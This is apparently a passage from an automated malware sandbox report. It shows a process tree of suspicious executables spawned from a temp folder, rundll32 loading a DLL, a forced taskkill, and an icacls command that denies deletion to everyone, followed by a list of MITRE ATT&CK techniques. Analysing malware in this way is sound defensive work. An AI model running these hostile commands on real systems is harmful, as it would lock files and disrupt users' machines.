  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4460
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4560
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4628
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4724
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4860
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4976
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:5068
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1004
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4300
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:1712
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4380
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4028
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:3988
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4628
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4744
- C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11e4e580f2e8141a3.exe
  2⤵
  PID:4132

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2588
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2608

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2160
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:1352

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4824
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4832

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4124
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding AD512454860E0F2403FCB66EF185FE8C C
  2⤵
  PID:4592
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6C15D0F13F35330398C0DB91DC4E2EC4
  2⤵
  PID:4732
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:4224

C:\Users\Admin\AppData\Local\Temp\CEB4.exe
C:\Users\Admin\AppData\Local\Temp\CEB4.exe
1⤵
PID:3492

C:\Users\Admin\AppData\Local\Temp\4CE9.exe
C:\Users\Admin\AppData\Local\Temp\4CE9.exe
1⤵
PID:3528

C:\Users\Admin\AppData\Local\Temp\9742.exe
C:\Users\Admin\AppData\Local\Temp\9742.exe
1⤵
PID:4472
- C:\Users\Admin\AppData\Local\Temp\9742.exe
  C:\Users\Admin\AppData\Local\Temp\9742.exe
  2⤵
  PID:4252
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\2123fad6-cf2b-4d1b-ab93-c4c704fea942" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:1504
- - C:\Users\Admin\AppData\Local\Temp\9742.exe
    "C:\Users\Admin\AppData\Local\Temp\9742.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:3992
  - - C:\Users\Admin\AppData\Local\Temp\9742.exe
      "C:\Users\Admin\AppData\Local\Temp\9742.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:4188

C:\Users\Admin\AppData\Local\Temp\41C4.exe
C:\Users\Admin\AppData\Local\Temp\41C4.exe
1⤵
PID:668

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery